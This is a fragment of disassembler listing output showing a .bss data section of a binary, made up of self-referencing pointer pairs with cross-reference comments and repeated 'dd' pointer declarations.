off_4001C850	dd offset off_4001C850	; DATA XREF: .bss:off_4001C850o
					; .bss:4001C854o
		dd offset off_4001C850
off_4001C858	dd offset off_4001C858	; DATA XREF: .bss:off_4001C858o
					; .bss:4001C85Co
		dd offset off_4001C858
off_4001C860	dd offset off_4001C860	; DATA XREF: .bss:off_4001C860o
					; .bss:4001C864o
		dd offset off_4001C860
off_4001C868	dd offset off_4001C868	; DATA XREF: .bss:off_4001C868o
					; .bss:4001C86Co
		dd offset off_4001C868
off_4001C870	dd offset off_4001C870	; DATA XREF: .bss:off_4001C870o
					; .bss:4001C874o
		dd offset off_4001C870
off_4001C878	dd offset off_4001C878	; DATA XREF: .bss:off_4001C878o
					; .bss:4001C87Co
		dd offset off_4001C878
off_4001C880	dd offset off_4001C880	; DATA XREF: .bss:off_4001C880o
					; .bss:4001C884o
		dd offset off_4001C880
off_4001C888	dd offset off_4001C888	; DATA XREF: .bss:off_4001C888o
					; .bss:4001C88Co
		dd offset off_4001C888
off_4001C890	dd offset off_4001C890	; DATA XREF: .bss:off_4001C890o
					; .bss:4001C894o
		dd offset off_4001C890
off_4001C898	dd offset off_4001C898	; DATA XREF: .bss:off_4001C898o
					; .bss:4001C89Co
		dd offset off_4001C898
off_4001C8A0	dd offset off_4001C8A0	; DATA XREF: .bss:off_4001C8A0o
					; .bss:4001C8A4o
		dd offset off_4001C8A0
off_4001C8A8	dd offset off_4001C8A8	; DATA XREF: .bss:off_4001C8A8o
					; .bss:4001C8ACo
		dd offset off_4001C8A8
off_4001C8B0	dd offset off_4001C8B0	; DATA XREF: .bss:off_4001C8B0o
					; .bss:4001C8B4o
		dd offset off_4001C8B0
off_4001C8B8	dd offset off_4001C8B8	; DATA XREF: .bss:off_4001C8B8o
					; .bss:4001C8BCo
		dd offset off_4001C8B8
off_4001C8C0	dd offset off_4001C8C0	; DATA XREF: .bss:off_4001C8C0o
					; .bss:4001C8C4o
		dd offset off_4001C8C0
off_4001C8C8	dd offset off_4001C8C8	; DATA XREF: .bss:off_4001C8C8o
					; .bss:4001C8CCo
		dd offset off_4001C8C8
off_4001C8D0	dd offset off_4001C8D0	; DATA XREF: .bss:off_4001C8D0o
					; .bss:4001C8D4o
		dd offset off_4001C8D0
off_4001C8D8	dd offset off_4001C8D8	; DATA XREF: .bss:off_4001C8D8o
					; .bss:4001C8DCo
		dd offset off_4001C8D8
off_4001C8E0	dd offset off_4001C8E0	; DATA XREF: .bss:off_4001C8E0o
					; .bss:4001C8E4o
		dd offset off_4001C8E0
off_4001C8E8	dd offset off_4001C8E8	; DATA XREF: .bss:off_4001C8E8o
					; .bss:4001C8ECo
		dd offset off_4001C8E8
off_4001C8F0	dd offset off_4001C8F0	; DATA XREF: .bss:off_4001C8F0o
					; .bss:4001C8F4o
		dd offset off_4001C8F0
off_4001C8F8	dd offset off_4001C8F8	; DATA XREF: .bss:off_4001C8F8o
					; .bss:4001C8FCo
		dd offset off_4001C8F8
off_4001C900	dd offset off_4001C900	; DATA XREF: .bss:off_4001C900o
					; .bss:4001C904o
		dd offset off_4001C900
off_4001C908	dd offset off_4001C908	; DATA XREF: .bss:off_4001C908o
					; .bss:4001C90Co
		dd offset off_4001C908
off_4001C910	dd offset off_4001C910	; DATA XREF: .bss:off_4001C910o
					; .bss:4001C914o
		dd offset off_4001C910
off_4001C918	dd offset off_4001C918	; DATA XREF: .bss:off_4001C918o
					; .bss:4001C91Co
		dd offset off_4001C918
off_4001C920	dd offset off_4001C920	; DATA XREF: .bss:off_4001C920o
					; .bss:4001C924o
		dd offset off_4001C920
off_4001C928	dd offset off_4001C928	; DATA XREF: .bss:off_4001C928o
					; .bss:4001C92Co
		dd offset off_4001C928
off_4001C930	dd offset off_4001C930	; DATA XREF: .bss:off_4001C930o
					; .bss:4001C934o
		dd offset off_4001C930
off_4001C938	dd offset off_4001C938	; DATA XREF: .bss:off_4001C938o
					; .bss:4001C93Co
		dd offset off_4001C938
off_4001C940	dd offset off_4001C940	; DATA XREF: .bss:off_4001C940o
					; .bss:4001C944o
		dd offset off_4001C940
off_4001C948	dd offset off_4001C948	; DATA XREF: .bss:off_4001C948o
					; .bss:4001C94Co
		dd offset off_4001C948
off_4001C950	dd offset off_4001C950	; DATA XREF: .bss:off_4001C950o
					; .bss:4001C954o
		dd offset off_4001C950
off_4001C958	dd offset off_4001C958	; DATA XREF: .bss:off_4001C958o
					; .bss:4001C95Co
		dd offset off_4001C958
off_4001C960	dd offset off_4001C960	; DATA XREF: .bss:off_4001C960o
					; .bss:4001C964o
		dd offset off_4001C960
off_4001C968	dd offset off_4001C968	; DATA XREF: .bss:off_4001C968o
					; .bss:4001C96Co
		dd offset off_4001C968
off_4001C970	dd offset off_4001C970	; DATA XREF: .bss:off_4001C970o
					; .bss:4001C974o
		dd offset off_4001C970
off_4001C978	dd offset off_4001C978	; DATA XREF: .bss:off_4001C978o
					; .bss:4001C97Co
		dd offset off_4001C978
off_4001C980	dd offset off_4001C980	; DATA XREF: .bss:off_4001C980o
					; .bss:4001C984o
		dd offset off_4001C980
off_4001C988	dd offset off_4001C988	; DATA XREF: .bss:off_4001C988o
					; .bss:4001C98Co
		dd offset off_4001C988
off_4001C990	dd offset off_4001C990	; DATA XREF: .bss:off_4001C990o
					; .bss:4001C994o
		dd offset off_4001C990
off_4001C998	dd offset off_4001C998	; DATA XREF: .bss:off_4001C998o
					; .bss:4001C99Co
		dd offset off_4001C998
off_4001C9A0	dd offset off_4001C9A0	; DATA XREF: .bss:off_4001C9A0o
					; .bss:4001C9A4o
		dd offset off_4001C9A0
off_4001C9A8	dd offset off_4001C9A8	; DATA XREF: .bss:off_4001C9A8o
					; .bss:4001C9ACo
		dd offset off_4001C9A8
off_4001C9B0	dd offset off_4001C9B0	; DATA XREF: .bss:off_4001C9B0o
					; .bss:4001C9B4o
		dd offset off_4001C9B0
off_4001C9B8	dd offset off_4001C9B8	; DATA XREF: .bss:off_4001C9B8o
					; .bss:4001C9BCo
		dd offset off_4001C9B8
off_4001C9C0	dd offset off_4001C9C0	; DATA XREF: .bss:off_4001C9C0o
					; .bss:4001C9C4o
		dd offset off_4001C9C0
off_4001C9C8	dd offset off_4001C9C8	; DATA XREF: .bss:off_4001C9C8o
					; .bss:4001C9CCo
		dd offset off_4001C9C8
off_4001C9D0	dd offset off_4001C9D0	; DATA XREF: .bss:off_4001C9D0o
					; .bss:4001C9D4o
		dd offset off_4001C9D0
off_4001C9D8	dd offset off_4001C9D8	; DATA XREF: .bss:off_4001C9D8o
					; .bss:4001C9DCo
		dd offset off_4001C9D8
off_4001C9E0	dd offset off_4001C9E0	; DATA XREF: .bss:off_4001C9E0o
					; .bss:4001C9E4o
		dd offset off_4001C9E0
off_4001C9E8	dd offset off_4001C9E8	; DATA XREF: .bss:off_4001C9E8o
					; .bss:4001C9ECo
		dd offset off_4001C9E8
off_4001C9F0	dd offset off_4001C9F0	; DATA XREF: .bss:off_4001C9F0o
					; .bss:4001C9F4o
		dd offset off_4001C9F0
off_4001C9F8	dd offset off_4001C9F8	; DATA XREF: .bss:off_4001C9F8o
					; .bss:4001C9FCo
		dd offset off_4001C9F8
off_4001CA00	dd offset off_4001CA00	; DATA XREF: .bss:off_4001CA00o
					; .bss:4001CA04o
		dd offset off_4001CA00
off_4001CA08	dd offset off_4001CA08	; DATA XREF: .bss:off_4001CA08o
					; .bss:4001CA0Co
		dd offset off_4001CA08
off_4001CA10	dd offset off_4001CA10	; DATA XREF: .bss:off_4001CA10o
					; .bss:4001CA14o
		dd offset off_4001CA10
off_4001CA18	dd offset off_4001CA18	; DATA XREF: .bss:off_4001CA18o
					; .bss:4001CA1Co
		dd offset off_4001CA18
off_4001CA20	dd offset off_4001CA20	; DATA XREF: .bss:off_4001CA20o
					; .bss:4001CA24o
		dd offset off_4001CA20
off_4001CA28	dd offset off_4001CA28	; DATA XREF: .bss:off_4001CA28o
					; .bss:4001CA2Co
		dd offset off_4001CA28
off_4001CA30	dd offset off_4001CA30	; DATA XREF: .bss:off_4001CA30o
					; .bss:4001CA34o
		dd offset off_4001CA30
off_4001CA38	dd offset off_4001CA38	; DATA XREF: .bss:off_4001CA38o
					; .bss:4001CA3Co
		dd offset off_4001CA38
off_4001CA40	dd offset off_4001CA40	; DATA XREF: .bss:off_4001CA40o
					; .bss:4001CA44o
		dd offset off_4001CA40
off_4001CA48	dd offset off_4001CA48	; DATA XREF: .bss:off_4001CA48o
					; .bss:4001CA4Co
		dd offset off_4001CA48
off_4001CA50	dd offset off_4001CA50	; DATA XREF: .bss:off_4001CA50o
					; .bss:4001CA54o
		dd offset off_4001CA50
off_4001CA58	dd offset off_4001CA58	; DATA XREF: .bss:off_4001CA58o
					; .bss:4001CA5Co
		dd offset off_4001CA58
off_4001CA60	dd offset off_4001CA60	; DATA XREF: .bss:off_4001CA60o
					; .bss:4001CA64o
		dd offset off_4001CA60
off_4001CA68	dd offset off_4001CA68	; DATA XREF: .bss:off_4001CA68o
					; .bss:4001CA6Co
		dd offset off_4001CA68
off_4001CA70	dd offset off_4001CA70	; DATA XREF: .bss:off_4001CA70o
					; .bss:4001CA74o
		dd offset off_4001CA70
off_4001CA78	dd offset off_4001CA78	; DATA XREF: .bss:off_4001CA78o
					; .bss:4001CA7Co
		dd offset off_4001CA78
off_4001CA80	dd offset off_4001CA80	; DATA XREF: .bss:off_4001CA80o
					; .bss:4001CA84o
		dd offset off_4001CA80
off_4001CA88	dd offset off_4001CA88	; DATA XREF: .bss:off_4001CA88o
					; .bss:4001CA8Co
		dd offset off_4001CA88
off_4001CA90	dd offset off_4001CA90	; DATA XREF: .bss:off_4001CA90o
					; .bss:4001CA94o
		dd offset off_4001CA90
off_4001CA98	dd offset off_4001CA98	; DATA XREF: .bss:off_4001CA98o
					; .bss:4001CA9Co
		dd offset off_4001CA98
off_4001CAA0	dd offset off_4001CAA0	; DATA XREF: .bss:off_4001CAA0o
					; .bss:4001CAA4o
		dd offset off_4001CAA0
off_4001CAA8	dd offset off_4001CAA8	; DATA XREF: .bss:off_4001CAA8o
					; .bss:4001CAACo
		dd offset off_4001CAA8
off_4001CAB0	dd offset off_4001CAB0	; DATA XREF: .bss:off_4001CAB0o
					; .bss:4001CAB4o
		dd offset off_4001CAB0
off_4001CAB8	dd offset off_4001CAB8	; DATA XREF: .bss:off_4001CAB8o
					; .bss:4001CABCo
		dd offset off_4001CAB8
off_4001CAC0	dd offset off_4001CAC0	; DATA XREF: .bss:off_4001CAC0o
					; .bss:4001CAC4o
		dd offset off_4001CAC0
off_4001CAC8	dd offset off_4001CAC8	; DATA XREF: .bss:off_4001CAC8o
					; .bss:4001CACCo
		dd offset off_4001CAC8
off_4001CAD0	dd offset off_4001CAD0	; DATA XREF: .bss:off_4001CAD0o
					; .bss:4001CAD4o
		dd offset off_4001CAD0
off_4001CAD8	dd offset off_4001CAD8	; DATA XREF: .bss:off_4001CAD8o
					; .bss:4001CADCo
		dd offset off_4001CAD8
off_4001CAE0	dd offset off_4001CAE0	; DATA XREF: .bss:off_4001CAE0o
					; .bss:4001CAE4o
		dd offset off_4001CAE0
		dd 2 dup(97F730h), 2 dup(4001CAF0h), 2 dup(4001CAF8h)
		dd 2 dup(4001CB00h), 2 dup(4001CB08h), 2 dup(4001CB10h)
		dd 2 dup(4001CB18h), 2 dup(4001CB20h), 2 dup(4001CB28h)
		dd 2 dup(4001CB30h), 2 dup(4001CB38h), 2 dup(4001CB40h)
		dd 2 dup(4001CB48h), 2 dup(4001CB50h), 2 dup(4001CB58h)
		dd 2 dup(4001CB60h), 2 dup(4001CB68h), 2 dup(4001CB70h)
		dd 2 dup(4001CB78h), 2 dup(4001CB80h), 2 dup(4001CB88h)
		dd 2 dup(4001CB90h), 2 dup(4001CB98h), 2 dup(4001CBA0h)
		dd 2 dup(4001CBA8h), 2 dup(4001CBB0h), 2 dup(4001CBB8h)
		dd 2 dup(4001CBC0h), 2 dup(4001CBC8h), 2 dup(4001CBD0h)
		dd 2 dup(4001CBD8h), 2 dup(4001CBE0h), 2 dup(4001CBE8h)
		dd 2 dup(4001CBF0h), 2 dup(4001CBF8h), 2 dup(4001CC00h)
		dd 2 dup(4001CC08h), 2 dup(4001CC10h), 2 dup(4001CC18h)
		dd 2 dup(4001CC20h), 2 dup(4001CC28h), 2 dup(4001CC30h)
		dd 2 dup(4001CC38h), 2 dup(4001CC40h), 2 dup(4001CC48h)
		dd 2 dup(4001CC50h), 2 dup(4001CC58h), 2 dup(4001CC60h)
		dd 2 dup(4001CC68h), 2 dup(4001CC70h), 2 dup(4001CC78h)
		dd 2 dup(4001CC80h), 2 dup(4001CC88h), 2 dup(4001CC90h)
		dd 2 dup(4001CC98h), 2 dup(4001CCA0h), 2 dup(4001CCA8h)
		dd 2 dup(4001CCB0h), 2 dup(4001CCB8h), 2 dup(4001CCC0h)
		dd 2 dup(4001CCC8h), 2 dup(4001CCD0h), 2 dup(4001CCD8h)
		dd 2 dup(4001CCE0h), 2 dup(4001CCE8h), 2 dup(4001CCF0h)
		dd 2 dup(4001CCF8h), 2 dup(4001CD00h), 2 dup(4001CD08h)
		dd 2 dup(4001CD10h), 2 dup(4001CD18h), 2 dup(4001CD20h)
		dd 2 dup(4001CD28h), 2 dup(4001CD30h), 2 dup(4001CD38h)
		dd 2 dup(4001CD40h), 2 dup(4001CD48h), 2 dup(4001CD50h)
		dd 2 dup(4001CD58h), 2 dup(4001CD60h), 2 dup(4001CD68h)
		dd 2 dup(4001CD70h), 2 dup(4001CD78h), 2 dup(4001CD80h)
		dd 2 dup(4001CD88h), 2 dup(4001CD90h), 2 dup(4001CD98h)
		dd 2 dup(4001CDA0h), 2 dup(4001CDA8h), 2 dup(4001CDB0h)
		dd 2 dup(4001CDB8h), 2 dup(4001CDC0h), 2 dup(4001CDC8h)
		dd 2 dup(4001CDD0h), 2 dup(4001CDD8h), 2 dup(4001CDE0h)
		dd 2 dup(4001CDE8h), 2 dup(4001CDF0h), 2 dup(4001CDF8h)
		dd 2 dup(4001CE00h), 2 dup(4001CE08h), 2 dup(4001CE10h)
		dd 2 dup(4001CE18h), 2 dup(4001CE20h), 2 dup(4001CE28h)
		dd 2 dup(4001CE30h), 2 dup(4001CE38h), 2 dup(4001CE40h)
		dd 2 dup(4001CE48h), 2 dup(4001CE50h), 2 dup(4001CE58h)
		dd 2 dup(4001CE60h), 2 dup(4001CE68h), 2 dup(4001CE70h)
		dd 2 dup(4001CE78h), 2 dup(4001CE80h), 2 dup(4001CE88h)
		dd 2 dup(4001CE90h), 2 dup(4001CE98h), 2 dup(4001CEA0h)
		dd 2 dup(4001CEA8h), 2 dup(4001CEB0h), 2 dup(4001CEB8h)
		dd 2 dup(4001CEC0h), 2 dup(4001CEC8h), 2 dup(4001CED0h)
		dd 2 dup(4001CED8h), 2 dup(4001CEE0h), 2 dup(4001CEE8h)
		dd 2 dup(4001CEF0h), 2 dup(4001CEF8h), 2 dup(4001CF00h)
		dd 2 dup(4001CF08h), 2 dup(4001CF10h), 2 dup(4001CF18h)
		dd 2 dup(4001CF20h), 2 dup(4001CF28h), 2 dup(4001CF30h)
		dd 2 dup(4001CF38h), 2 dup(4001CF40h), 2 dup(4001CF48h)
		dd 2 dup(4001CF50h), 2 dup(4001CF58h), 2 dup(4001CF60h)
		dd 2 dup(4001CF68h), 2 dup(4001CF70h), 2 dup(4001CF78h)
		dd 2 dup(4001CF80h), 2 dup(4001CF88h), 2 dup(4001CF90h)
		dd 2 dup(4001CF98h), 2 dup(4001CFA0h), 2 dup(4001CFA8h)
		dd 2 dup(4001CFB0h), 2 dup(4001CFB8h), 2 dup(4001CFC0h)
		dd 2 dup(4001CFC8h), 2 dup(4001CFD0h), 2 dup(4001CFD8h)
		dd 2 dup(4001CFE0h), 2 dup(4001CFE8h), 2 dup(4001CFF0h)
		dd 2 dup(4001CFF8h), 2 dup(4001D000h), 2 dup(4001D008h)
		dd 2 dup(4001D010h), 2 dup(4001D018h), 2 dup(4001D020h)
		dd 2 dup(4001D028h), 2 dup(4001D030h), 2 dup(4001D038h)
		dd 2 dup(4001D040h), 2 dup(4001D048h), 2 dup(4001D050h)
		dd 2 dup(4001D058h), 2 dup(4001D060h), 2 dup(4001D068h)
		dd 2 dup(4001D070h), 2 dup(4001D078h), 2 dup(4001D080h)
		dd 2 dup(4001D088h), 2 dup(4001D090h), 2 dup(4001D098h)
		dd 2 dup(4001D0A0h), 2 dup(4001D0A8h), 2 dup(4001D0B0h)
		dd 2 dup(4001D0B8h), 2 dup(4001D0C0h), 2 dup(4001D0C8h)
		dd 2 dup(4001D0D0h), 2 dup(4001D0D8h), 2 dup(4001D0E0h)
		dd 2 dup(4001D0E8h), 2 dup(4001D0F0h), 2 dup(4001D0F8h)
		dd 2 dup(4001D100h), 2 dup(4001D108h), 2 dup(4001D110h)
		dd 2 dup(4001D118h), 2 dup(4001D120h), 2 dup(4001D128h)
		dd 2 dup(4001D130h), 2 dup(4001D138h), 2 dup(4001D140h)
		dd 2 dup(4001D148h), 2 dup(4001D150h), 2 dup(4001D158h)
		dd 2 dup(4001D160h), 2 dup(4001D168h), 2 dup(4001D170h)
		dd 2 dup(4001D178h), 2 dup(4001D180h), 2 dup(4001D188h)
		dd 2 dup(4001D190h), 2 dup(4001D198h), 2 dup(4001D1A0h)
		dd 2 dup(4001D1A8h), 2 dup(4001D1B0h), 2 dup(4001D1B8h)
		dd 2 dup(4001D1C0h), 2 dup(4001D1C8h), 2 dup(4001D1D0h)
		dd 2 dup(4001D1D8h), 2 dup(4001D1E0h), 2 dup(4001D1E8h)
		dd 2 dup(4001D1F0h), 2 dup(4001D1F8h), 2 dup(4001D200h)
		dd 2 dup(4001D208h), 2 dup(4001D210h), 2 dup(4001D218h)
		dd 2 dup(4001D220h), 2 dup(4001D228h), 2 dup(4001D230h)
		dd 2 dup(4001D238h), 2 dup(4001D240h), 2 dup(4001D248h)
		dd 2 dup(4001D250h), 2 dup(4001D258h), 2 dup(4001D260h)
		dd 2 dup(4001D268h), 2 dup(4001D270h), 2 dup(4001D278h)
		dd 2 dup(4001D280h), 2 dup(4001D288h), 2 dup(4001D290h)
		dd 2 dup(4001D298h), 2 dup(4001D2A0h), 2 dup(4001D2A8h)
		dd 2 dup(4001D2B0h), 2 dup(4001D2B8h), 2 dup(4001D2C0h)
		dd 2 dup(4001D2C8h), 2 dup(4001D2D0h), 2 dup(4001D2D8h)
		dd 2 dup(4001D2E0h), 2 dup(4001D2E8h), 2 dup(4001D2F0h)
		dd 2 dup(4001D2F8h), 2 dup(4001D300h), 2 dup(4001D308h)
		dd 2 dup(4001D310h), 2 dup(4001D318h), 2 dup(4001D320h)
		dd 2 dup(4001D328h), 2 dup(4001D330h), 2 dup(4001D338h)
		dd 2 dup(4001D340h), 2 dup(4001D348h), 2 dup(4001D350h)
		dd 2 dup(4001D358h), 2 dup(4001D360h), 2 dup(4001D368h)
		dd 2 dup(4001D370h), 2 dup(4001D378h), 2 dup(4001D380h)
		dd 2 dup(4001D388h), 2 dup(4001D390h), 2 dup(4001D398h)
		dd 2 dup(4001D3A0h), 2 dup(4001D3A8h), 2 dup(4001D3B0h)
		dd 2 dup(4001D3B8h), 2 dup(4001D3C0h), 2 dup(4001D3C8h)
		dd 2 dup(4001D3D0h), 2 dup(4001D3D8h), 2 dup(4001D3E0h)
		dd 2 dup(4001D3E8h), 2 dup(4001D3F0h), 2 dup(4001D3F8h)
		dd 2 dup(4001D400h), 2 dup(4001D408h), 2 dup(4001D410h)
		dd 2 dup(4001D418h), 2 dup(4001D420h), 2 dup(4001D428h)
		dd 2 dup(4001D430h), 2 dup(4001D438h), 2 dup(4001D440h)
		dd 2 dup(4001D448h), 2 dup(4001D450h), 2 dup(4001D458h)
		dd 2 dup(4001D460h), 2 dup(4001D468h), 2 dup(4001D470h)
		dd 2 dup(4001D478h), 2 dup(4001D480h), 2 dup(4001D488h)
		dd 2 dup(4001D490h), 2 dup(4001D498h), 2 dup(4001D4A0h)
		dd 2 dup(4001D4A8h), 2 dup(4001D4B0h), 2 dup(4001D4B8h)
		dd 2 dup(4001D4C0h), 2 dup(4001D4C8h), 2 dup(4001D4D0h)
		dd 2 dup(4001D4D8h), 2 dup(4001D4E0h), 2 dup(4001D4E8h)
		dd 2 dup(4001D4F0h), 2 dup(4001D4F8h), 2 dup(4001D500h)
		dd 2 dup(4001D508h), 2 dup(4001D510h), 2 dup(4001D518h)
		dd 2 dup(4001D520h), 2 dup(4001D528h), 2 dup(4001D530h)
		dd 2 dup(4001D538h), 2 dup(4001D540h), 2 dup(4001D548h)
		dd 2 dup(4001D550h), 2 dup(4001D558h), 2 dup(4001D560h)
		dd 2 dup(4001D568h), 2 dup(4001D570h), 2 dup(4001D578h)
		dd 2 dup(4001D580h), 2 dup(4001D588h), 2 dup(4001D590h)
		dd 2 dup(4001D598h), 2 dup(4001D5A0h), 2 dup(4001D5A8h)
		dd 2 dup(4001D5B0h), 2 dup(4001D5B8h), 2 dup(4001D5C0h)
		dd 2 dup(4001D5C8h), 2 dup(4001D5D0h), 2 dup(4001D5D8h)
		dd 2 dup(4001D5E0h), 2 dup(4001D5E8h), 2 dup(4001D5F0h)
		dd 2 dup(4001D5F8h), 2 dup(4001D600h), 2 dup(4001D608h)
		dd 2 dup(4001D610h), 2 dup(4001D618h), 2 dup(4001D620h)
		dd 2 dup(4001D628h), 2 dup(4001D630h), 2 dup(4001D638h)
		dd 2 dup(4001D640h), 2 dup(4001D648h), 2 dup(4001D650h)
		dd 2 dup(4001D658h), 2 dup(4001D660h), 2 dup(4001D668h)
		dd 2 dup(4001D670h), 2 dup(4001D678h), 2 dup(4001D680h)
		dd 2 dup(4001D688h), 2 dup(4001D690h), 2 dup(4001D698h)
		dd 2 dup(4001D6A0h), 2 dup(4001D6A8h), 2 dup(4001D6B0h)
		dd 2 dup(4001D6B8h), 2 dup(4001D6C0h), 2 dup(4001D6C8h)
		dd 2 dup(4001D6D0h), 2 dup(4001D6D8h), 2 dup(4001D6E0h)
		dd 2 dup(4001D6E8h), 2 dup(4001D6F0h), 2 dup(4001D6F8h)
		dd 2 dup(4001D700h), 2 dup(4001D708h), 2 dup(4001D710h)
		dd 2 dup(4001D718h), 2 dup(4001D720h), 2 dup(4001D728h)
		dd 2 dup(4001D730h), 2 dup(4001D738h), 2 dup(4001D740h)
		dd 2 dup(4001D748h), 2 dup(4001D750h), 2 dup(4001D758h)
		dd 2 dup(4001D760h), 2 dup(4001D768h), 2 dup(4001D770h)
		dd 2 dup(4001D778h), 2 dup(4001D780h), 2 dup(4001D788h)
		dd 2 dup(4001D790h), 2 dup(4001D798h), 2 dup(4001D7A0h)
		dd 2 dup(4001D7A8h), 2 dup(4001D7B0h), 2 dup(4001D7B8h)
		dd 2 dup(4001D7C0h), 2 dup(4001D7C8h), 2 dup(4001D7D0h)
		dd 2 dup(4001D7D8h), 2 dup(4001D7E0h), 2 dup(4001D7E8h)
		dd 2 dup(4001D7F0h), 2 dup(4001D7F8h), 2 dup(4001D800h)
		dd 2 dup(4001D808h), 2 dup(4001D810h), 2 dup(4001D818h)
		dd 2 dup(4001D820h), 2 dup(4001D828h), 2 dup(4001D830h)
		dd 2 dup(4001D838h), 2 dup(4001D840h), 2 dup(4001D848h)
		dd 2 dup(4001D850h), 2 dup(4001D858h), 2 dup(4001D860h)
		dd 2 dup(4001D868h), 2 dup(4001D870h), 2 dup(4001D878h)
		dd 2 dup(4001D880h), 2 dup(4001D888h), 2 dup(4001D890h)
		dd 2 dup(4001D898h), 2 dup(4001D8A0h), 2 dup(4001D8A8h)
		dd 2 dup(4001D8B0h), 2 dup(4001D8B8h), 2 dup(4001D8C0h)
		dd 2 dup(4001D8C8h), 2 dup(4001D8D0h), 2 dup(4001D8D8h)
		dd 2 dup(4001D8E0h), 2 dup(4001D8E8h), 2 dup(4001D8F0h)
		dd 2 dup(4001D8F8h), 2 dup(4001D900h), 2 dup(4001D908h)
		dd 2 dup(4001D910h), 2 dup(4001D918h), 2 dup(4001D920h)
		dd 2 dup(4001D928h), 2 dup(9EB690h), 2 dup(4001D938h)
		dd 2 dup(4001D940h), 2 dup(4001D948h), 2 dup(4001D950h)
		dd 2 dup(4001D958h), 2 dup(4001D960h), 2 dup(4001D968h)
		dd 2 dup(4001D970h), 2 dup(4001D978h), 2 dup(4001D980h)
		dd 2 dup(4001D988h), 2 dup(4001D990h), 2 dup(4001D998h)
		dd 2 dup(4001D9A0h), 2 dup(4001D9A8h), 2 dup(4001D9B0h)
		dd 2 dup(4001D9B8h), 2 dup(4001D9C0h), 2 dup(4001D9C8h)
		dd 2 dup(4001D9D0h), 2 dup(4001D9D8h), 2 dup(4001D9E0h)
		dd 2 dup(4001D9E8h), 2 dup(4001D9F0h), 2 dup(4001D9F8h)
		dd 2 dup(4001DA00h), 2 dup(4001DA08h), 2 dup(4001DA10h)
		dd 2 dup(4001DA18h), 2 dup(4001DA20h), 2 dup(4001DA28h)
		dd 2 dup(4001DA30h), 2 dup(4001DA38h), 2 dup(4001DA40h)
		dd 2 dup(4001DA48h), 2 dup(4001DA50h), 2 dup(4001DA58h)
		dd 2 dup(4001DA60h), 2 dup(4001DA68h), 2 dup(4001DA70h)
		dd 2 dup(4001DA78h), 2 dup(4001DA80h), 2 dup(4001DA88h)
		dd 2 dup(4001DA90h), 2 dup(4001DA98h), 2 dup(4001DAA0h)
		dd 2 dup(4001DAA8h), 2 dup(4001DAB0h), 2 dup(4001DAB8h)
		dd 2 dup(4001DAC0h), 2 dup(4001DAC8h), 2 dup(4001DAD0h)
		dd 2 dup(4001DAD8h), 4001DAE0h
		dd 4001DAE0h, 2	dup(4001DAE8h),	2 dup(4001DAF0h), 2 dup(4001DAF8h)
		dd 2 dup(4001DB00h), 2 dup(4001DB08h), 2 dup(4001DB10h)
		dd 2 dup(4001DB18h), 2 dup(4001DB20h), 2 dup(4001DB28h)
		dd 2 dup(4001DB30h), 2 dup(4001DB38h), 2 dup(4001DB40h)
		dd 2 dup(4001DB48h), 2 dup(4001DB50h), 2 dup(4001DB58h)
		dd 2 dup(4001DB60h), 2 dup(4001DB68h), 2 dup(4001DB70h)
		dd 2 dup(4001DB78h), 2 dup(4001DB80h), 2 dup(4001DB88h)
		dd 2 dup(4001DB90h), 2 dup(4001DB98h), 2 dup(4001DBA0h)
		dd 2 dup(4001DBA8h), 2 dup(4001DBB0h), 2 dup(4001DBB8h)
		dd 2 dup(4001DBC0h), 2 dup(4001DBC8h), 2 dup(4001DBD0h)
		dd 2 dup(4001DBD8h), 2 dup(4001DBE0h), 2 dup(4001DBE8h)
		dd 2 dup(4001DBF0h), 2 dup(4001DBF8h), 2 dup(4001DC00h)
		dd 2 dup(4001DC08h), 2 dup(4001DC10h), 2 dup(4001DC18h)
		dd 2 dup(4001DC20h), 2 dup(4001DC28h), 2 dup(4001DC30h)
		dd 2 dup(4001DC38h), 2 dup(4001DC40h), 2 dup(4001DC48h)
		dd 2 dup(4001DC50h), 2 dup(4001DC58h), 2 dup(4001DC60h)
		dd 2 dup(4001DC68h), 2 dup(4001DC70h), 2 dup(4001DC78h)
		dd 2 dup(4001DC80h), 2 dup(4001DC88h), 2 dup(4001DC90h)
		dd 2 dup(4001DC98h), 2 dup(4001DCA0h), 2 dup(4001DCA8h)
		dd 2 dup(4001DCB0h), 2 dup(4001DCB8h), 2 dup(4001DCC0h)
		dd 2 dup(4001DCC8h), 2 dup(4001DCD0h), 2 dup(4001DCD8h)
		dd 2 dup(4001DCE0h), 2 dup(4001DCE8h), 2 dup(4001DCF0h)
		dd 2 dup(4001DCF8h), 2 dup(4001DD00h), 2 dup(4001DD08h)
		dd 2 dup(4001DD10h), 2 dup(4001DD18h), 2 dup(4001DD20h)
		dd 2 dup(4001DD28h), 2 dup(4001DD30h), 2 dup(4001DD38h)
		dd 2 dup(4001DD40h), 2 dup(4001DD48h), 2 dup(4001DD50h)
		dd 2 dup(4001DD58h), 2 dup(4001DD60h), 2 dup(4001DD68h)
		dd 2 dup(4001DD70h), 2 dup(4001DD78h), 2 dup(4001DD80h)
		dd 2 dup(4001DD88h), 2 dup(4001DD90h), 2 dup(4001DD98h)
		dd 2 dup(4001DDA0h), 2 dup(4001DDA8h), 2 dup(4001DDB0h)
		dd 2 dup(4001DDB8h), 2 dup(4001DDC0h), 2 dup(4001DDC8h)
		dd 2 dup(4001DDD0h), 2 dup(4001DDD8h), 2 dup(4001DDE0h)
		dd 2 dup(4001DDE8h), 2 dup(4001DDF0h), 2 dup(4001DDF8h)
		dd 2 dup(4001DE00h), 2 dup(4001DE08h), 2 dup(4001DE10h)
		dd 2 dup(4001DE18h), 2 dup(4001DE20h), 2 dup(4001DE28h)
		dd 2 dup(4001DE30h), 2 dup(4001DE38h), 2 dup(4001DE40h)
		dd 2 dup(4001DE48h), 2 dup(4001DE50h), 2 dup(4001DE58h)
		dd 2 dup(4001DE60h), 2 dup(4001DE68h), 2 dup(4001DE70h)
		dd 2 dup(4001DE78h), 2 dup(4001DE80h), 2 dup(4001DE88h)
		dd 2 dup(4001DE90h), 2 dup(4001DE98h), 2 dup(4001DEA0h)
		dd 2 dup(4001DEA8h), 2 dup(4001DEB0h), 2 dup(4001DEB8h)
		dd 2 dup(4001DEC0h), 2 dup(4001DEC8h), 2 dup(4001DED0h)
		dd 2 dup(4001DED8h), 2 dup(4001DEE0h), 2 dup(4001DEE8h)
		dd 2 dup(4001DEF0h), 2 dup(4001DEF8h), 2 dup(4001DF00h)
		dd 2 dup(4001DF08h), 2 dup(4001DF10h), 2 dup(4001DF18h)
		dd 2 dup(4001DF20h), 2 dup(4001DF28h), 2 dup(4001DF30h)
		dd 2 dup(4001DF38h), 2 dup(4001DF40h), 2 dup(4001DF48h)
